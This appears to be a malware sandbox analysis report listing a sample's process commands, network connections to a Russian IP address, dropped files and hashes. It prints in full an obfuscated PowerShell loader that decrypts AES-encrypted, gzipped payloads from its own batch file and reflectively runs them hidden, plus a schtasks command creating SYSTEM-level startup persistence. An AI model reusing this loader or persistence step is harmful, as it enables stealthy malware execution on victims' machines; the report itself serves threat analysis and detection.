C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\ProgramData\driver2.cmd';$AqEi='CrsqtpesqtpatsqtpeDesqtpcrsqtpyptsqtposqtprsqtp'.Replace('sqtp', ''),'FrCJbRoCJbRmBaCJbRseCJbR64CJbRStCJbRriCJbRnCJbRgCJbR'.Replace('CJbR', ''),'InTTXMvokTTXMeTTXM'.Replace('TTXM', ''),'EnfaNStryfaNSPoifaNSnfaNStfaNS'.Replace('faNS', ''),'ChMkDfanMkDfgeMkDfExtMkDfensMkDfioMkDfnMkDf'.Replace('MkDf', ''),'LonQgGanQgGdnQgG'.Replace('nQgG', ''),'MbgpxaibgpxnMbgpxobgpxdulbgpxebgpx'.Replace('bgpx', ''),'REtcKeEtcKadLEtcKinEtcKesEtcK'.Replace('EtcK', ''),'ElzFDsemzFDsezFDsnzFDstAzFDstzFDs'.Replace('zFDs', ''),'CenWEopenWEyenWEToenWE'.Replace('enWE', ''),'GeEAEWtCuEAEWrrEAEWenEAEWtPEAEWroEAEWcEAEWeEAEWsEAEWsEAEW'.Replace('EAEW', ''),'SpOMiiliOMiitOMii'.Replace('OMii', ''),'TrNYnSanNYnSsNYnSfNYnSorNYnSmNYnSFNYnSinaNYnSlBlNYnSocNYnSkNYnS'.Replace('NYnS', ''),'DecKPNcocKPNmpcKPNrcKPNesscKPN'.Replace('cKPN', '');powershell -w hidden;function CpemN($DYVvD){$uCDxz=[System.Security.Cryptography.Aes]::Create();$uCDxz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uCDxz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uCDxz.Key=[System.Convert]::($AqEi[1])('hwWmx8yZnmhBXTUujLmUilT/inW7ASWUfza/yiGaTE0=');$uCDxz.IV=[System.Convert]::($AqEi[1])('1shh+Csacdi2MAxWoHL6Vw==');$WrKXJ=$uCDxz.($AqEi[0])();$lQEbS=$WrKXJ.($AqEi[12])($DYVvD,0,$DYVvD.Length);$WrKXJ.Dispose();$uCDxz.Dispose();$lQEbS;}function Vaeom($DYVvD){$ufaBC=New-Object System.IO.MemoryStream(,$DYVvD);$fvcwX=New-Object System.IO.MemoryStream;$KxhFO=New-Object System.IO.Compression.GZipStream($ufaBC,[IO.Compression.CompressionMode]::($AqEi[13]));$KxhFO.($AqEi[9])($fvcwX);$KxhFO.Dispose();$ufaBC.Dispose();$fvcwX.Dispose();$fvcwX.ToArray();}$oYEdq=[System.IO.File]::($AqEi[7])([Console]::Title);$sExPv=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 5).Substring(2))));$uYvCe=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 6).Substring(2))));[System.Reflection.Assembly]::($AqEi[5])([byte[]]$uYvCe).($AqEi[3]).($AqEi[2])($null,$null);[System.Reflection.Assembly]::($AqEi[5])([byte[]]$sExPv).($AqEi[3]).($AqEi[2])($null,$null); "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\schtasks.exe
schtasks /create /tn WinDriver /tr C:\ProgramData\Microsoft\WinDriver.cmd /sc onstart /ru SYSTEM
Network
| Country | Destination | Domain | Proto |
| RU | 77.221.156.90:25565 | 77.221.156.90 | tcp |
| RU | 77.221.156.90:25565 | 77.221.156.90 | tcp |
| RU | 77.221.156.90:25565 | 77.221.156.90 | tcp |
Files
memory/2700-4-0x000000001B2B0000-0x000000001B592000-memory.dmp
memory/2700-5-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
memory/2700-6-0x0000000002700000-0x0000000002780000-memory.dmp
memory/2700-7-0x0000000002460000-0x0000000002468000-memory.dmp
memory/2700-10-0x0000000002700000-0x0000000002780000-memory.dmp
memory/2700-9-0x0000000002700000-0x0000000002780000-memory.dmp
memory/2700-8-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
memory/2700-11-0x0000000002700000-0x0000000002780000-memory.dmp
memory/2700-12-0x000007FEF50F0000-0x000007FEF5A8D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 64a7059321c6889d4162230fc7417dee |
| SHA1 | 55ec49e0949eeee3e2f6ea055abcfd98cb460cae |
| SHA256 | 7ae8a07ee9681fa55c972c2bd9bdb7a4e488872ca46dbf9675e3b8a06336c583 |
| SHA512 | fb8261312071b2c292bbb4ee97a8f86326997014071b5ab178e468221e4697e8b4e248e3735a617310db4964a37129cce298738f0b4f078deebffbd88e3c2cc7 |
memory/2528-18-0x000000001B1A0000-0x000000001B482000-memory.dmp
memory/2528-19-0x000007FEF4750000-0x000007FEF50ED000-memory.dmp
memory/2528-21-0x0000000002560000-0x0000000002568000-memory.dmp
memory/2528-20-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2528-22-0x000007FEF4750000-0x000007FEF50ED000-memory.dmp
memory/2528-25-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2528-24-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2528-23-0x0000000002810000-0x0000000002890000-memory.dmp
memory/2528-26-0x000007FEF4750000-0x000007FEF50ED000-memory.dmp
\ProgramData\driver1.exe
| MD5 | eb93f3965887e8796917d34d40c0869d |
| SHA1 | 10976e4bc2a7d412550048c06def0b0ebba77eb6 |
| SHA256 | 31d452a1ae5637cd3127e7a2e4e8de9771ea1d4e2fa34cddfdd9f90b73d098a5 |
| SHA512 | b743c9ef3fe72f7e79c16929ee6d00cd4a0961309ea73f12b599bf5217b271bef61ac1981fed8a2b48187c5ad8ca18d572d7076d335f0440c52f77f47cd81281 |
C:\ProgramData\driver2.cmd
| MD5 | d14ef6e6b689c92514b92b7865f622c6 |
| SHA1 | 03a0aaafd831d9c07784744e0358b83e506402ab |
| SHA256 | 2d68dffce5555c659fb1de2b4d1e28597667ddefd6c99844ee5a346adcf0d036 |
| SHA512 | 87754c793b4abc0066588cf60cff7b763090e2680aa3bc889e9f36ecaee28f18ea0ab1bb37d7049781079197237d83bb0995b61caa87888df4556ae921973d0c |
memory/1708-43-0x0000000073B20000-0x00000000740CB000-memory.dmp
memory/1708-44-0x0000000073B20000-0x00000000740CB000-memory.dmp
memory/1708-45-0x00000000026D0000-0x0000000002710000-memory.dmp
memory/1708-46-0x00000000026D0000-0x0000000002710000-memory.dmp
memory/1708-47-0x0000000073B20000-0x00000000740CB000-memory.dmp
memory/1708-49-0x00000000026D0000-0x0000000002710000-memory.dmp
memory/1708-50-0x00000000026D0000-0x0000000002710000-memory.dmp
memory/1708-51-0x00000000026D0000-0x0000000002710000-memory.dmp